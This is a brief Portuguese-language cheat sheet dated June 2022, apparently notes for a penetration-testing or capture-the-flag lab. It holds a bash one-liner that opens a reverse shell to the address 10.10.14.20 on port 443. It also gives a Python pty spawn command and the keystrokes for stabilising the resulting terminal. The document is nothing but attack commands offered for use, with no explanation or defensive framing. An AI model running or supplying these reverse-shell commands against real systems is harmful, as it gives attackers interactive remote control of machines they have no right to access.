21 de jun. de 2022

reverse shell

 

## reverse shell
bash -c "bash -i >& /dev/tcp/10.10.14.20/443 0>&1"

## reverse shell com python interactive
python3 -c 'import pty;pty.spawn("/bin/bash")'

## estabilizar o terminal
CTRL+Z
stty raw -echo; fg
reset xterm
echo TERM=xterm
echo SHELL=bash